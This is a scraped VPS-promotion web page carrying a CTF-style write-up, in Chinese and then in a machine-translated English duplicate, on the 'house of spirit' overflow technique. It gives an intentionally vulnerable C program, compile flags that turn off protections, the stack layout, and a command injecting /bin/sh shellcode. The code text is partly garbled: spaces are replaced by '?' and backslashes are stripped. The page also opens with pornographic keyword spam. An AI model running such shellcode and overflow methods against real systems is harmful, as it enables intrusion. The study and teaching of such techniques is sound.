超碰中文网,91久久精品日日躁夜夜躁欧美,一区二区三区精品道,一区二区国产在线观看,亚洲精品中文字幕乱码一区二区,天天看片高清影视在线观看,久久99精品久久久久蜜桃,久久成人影视

VPS參考測評推薦
專注分享VPS主機優惠信息
衡天云優惠活動
熱網互聯2026年促銷活動
hostkvm優惠促銷活動
zji優惠促銷活動
QQGNET優惠促銷活動
QQGNET優惠促銷活動

【溢出利用技巧】house of spirit friendly stack overflow

主機參考:VPS測評參考推薦/專注分享VPS服務器優惠信息!若您是商家可以在本站進行投稿,查看詳情!此外我們還提供軟文收錄、PayPal代付、廣告贊助等服務,查看詳情!
我們發布的部分優惠活動文章可能存在時效性,購買時建議在本站搜索商家名稱可查看相關文章充分了解該商家!若非中文頁面可使用Edge瀏覽器同步翻譯!PayPal代付/收錄合作

學習了一下L-CTF中介紹的一個棧溢出利用技巧,記錄一下。

樣例代碼如下:

/*

?*?blackngel's?vulnerable?program?slightly?modified?by?gb_master

?*/

#include?<stdio.hgt;

#include?<string.hgt;

#include?<stdlib.hgt;

void?fvuln(char?*str1,?int?age)

{

??char?*ptr1,?name[32];

??int?local_age;

??char?*ptr2;

??local_age?=?age;

??ptr1?=?(char?*)?malloc(256);

??printf("nPTR1?=?[?%p?]",?ptr1);

??strcpy(name,?str1);

??printf("nPTR1?=?[?%p?]n",?ptr1);

??free(ptr1);

??ptr2?=?(char?*)?malloc(40);

??snprintf(ptr2,?40-1,?"%s?is?%d?years?old",?name,?local_age);

??printf("n%sn",?ptr2);

}

int?main(int?argc,?char?*argv[])

{

??int?pad[10]?=?{0,?0,?0,?0,?0,?0,?0,?10,?0,?0};

??if?(argc?==?3)

????fvuln(argv[1],?atoi(argv[2]));

??return?0;

}

編譯命令如下:

gcc?hos.c?-m32?-fno-stack-protector?-mpreferred-stack-boundary=2?-mno-accumulate-outgoing-args?-z?execstack?-o?hos

Ubuntu 14 Server里編譯需要安裝一下開發包,否則會報錯sys/cdefs.h文件找不到:

sudo?apt-get?install?libc6-dev-i386

這里關鍵思路是:通過溢出修改局部變量的地址為棧中的一個地址,將偽造地址中的size字段設置成一個fastbin的有效大小,以便能成功將其free,后面的malloc將把此塊內存重新申請并使用,snprintf函數再向其中寫入數據,從而可以覆蓋函數返回地址,最終getshell。

局部變量的內存分布如下:

0xffffd03c?????name

0xffffd05c?????ptr2

0xffffd060?????ptr1

0xffffd064?????local_age

樣例測試命令如下:

./hos?`python?-c?'import?sys;?sys.stdout.write("x31xc0xebx14x44xd0xffxffx6ax0bx58x31xf6x56x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcaxcdx80x90"?+?"x01x01x01x68xd0xFFxFF"?+?"x30")'`?48

這里有點問題,通過GDB調試可以getshell,直接執行則報段錯誤:


Learn a stack overflow utilization technique introduced in l-ctf and record it.

The sle code is as follows:

/ *

?*?blackngel's?vulnerable?program?slightly?modified?by?gb_master

* /

#include?<stdio.hgt;

#include?<string.hgt;

#include?<stdlib.hgt;

void?fvuln(char?*str1,?int?age)

{

??char?*ptr1,?name[32];

??int?local_age;

??char?*ptr2;

??local_age?=?age;

??ptr1?=?(char?*)?malloc(256);

??printf("nPTR1?=?[?%p?]",?ptr1);

??strcpy(name,?str1);

??printf("nPTR1?=?[?%p?]n",?ptr1);

??free(ptr1);

??ptr2?=?(char?*)?malloc(40);

??snprintf(ptr2,?40-1,?"%s?is?%d?years?old",?name,?local_age);

??printf("n%sn",?ptr2);

}

int?main(int?argc,?char?*argv[])

{

??int?pad[10]?=?{0,?0,?0,?0,?0,?0,?0,?10,?0,?0};

??if?(argc?==?3)

????fvuln(argv[1],?atoi(argv[2]));

??return?0;

}

The compile command is as follows:

gcc?hos.c?-m32?-fno-stack-protector?-mpreferred-stack-boundary=2?-mno-accumulate-outgoing-args?-z?execstack?-o?hos

To compile in Ubuntu 14 server, you need to install the following development package. Otherwise, an error will be reported. The sys / cdefs. H file cannot be found:

sudo?apt-get?install?libc6-dev-i386

The key idea here is: change the address of local variable to an address in the stack through overflow, set the size field in the forged address to an effective size of fastbin, so that it can be free successfully, and malloc will reapply and use this block of memory, and snprintf function will write data to it, so that the return address of the function can be overwritten, and finally get shell.

The memory distribution of local variables is as follows:

0xffffd03c?????name

0xffffd05c?????ptr2

0xffffd060?????ptr1

0xffffd064?????local_age

The sle test command is as follows:

./hos?`python?-c?'import?sys;?sys.stdout.write("x31xc0xebx14x44xd0xffxffx6ax0bx58x31xf6x56x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcaxcdx80x90"?+?"x01x01x01x68xd0xFFxFF"?+?"x30")'`?48

There is a problem here. You can get the shell through GDB debugging. If you execute directly, a segment error will be reported:

--------------------------------------------------------------
主機參考,收集國內外VPS,VPS測評,主機測評,云服務器,虛擬主機,獨立服務器,國內外服務器,高性價比建站主機相關優惠信息@www.k2270.com
詳細介紹和測評國外VPS主機,云服務器,國外服務器,國外主機的相關優惠信息,商家背景,網絡帶寬等等,也是目前國內最好的主機云服務器VPS參考測評資訊優惠信息分享平臺

這幾篇文章你可能也喜歡:

本文由主機參考刊發,轉載請注明:【溢出利用技巧】house of spirit friendly stack overflow http://www.k2270.com/12766.html

【騰訊云】領8888元采購禮包,搶爆款云服務器 每月 9元起,個人開發者加享折上折!
打賞
轉載請注明原文鏈接:主機參考 » 【溢出利用技巧】house of spirit friendly stack overflow
主機參考僅做資料收集,不對商家任何信息及交易做信用擔保,購買前請注意風險,有交易糾紛請自行解決!請查閱:特別聲明

相關推薦

評論 搶沙發

評論前必須登錄!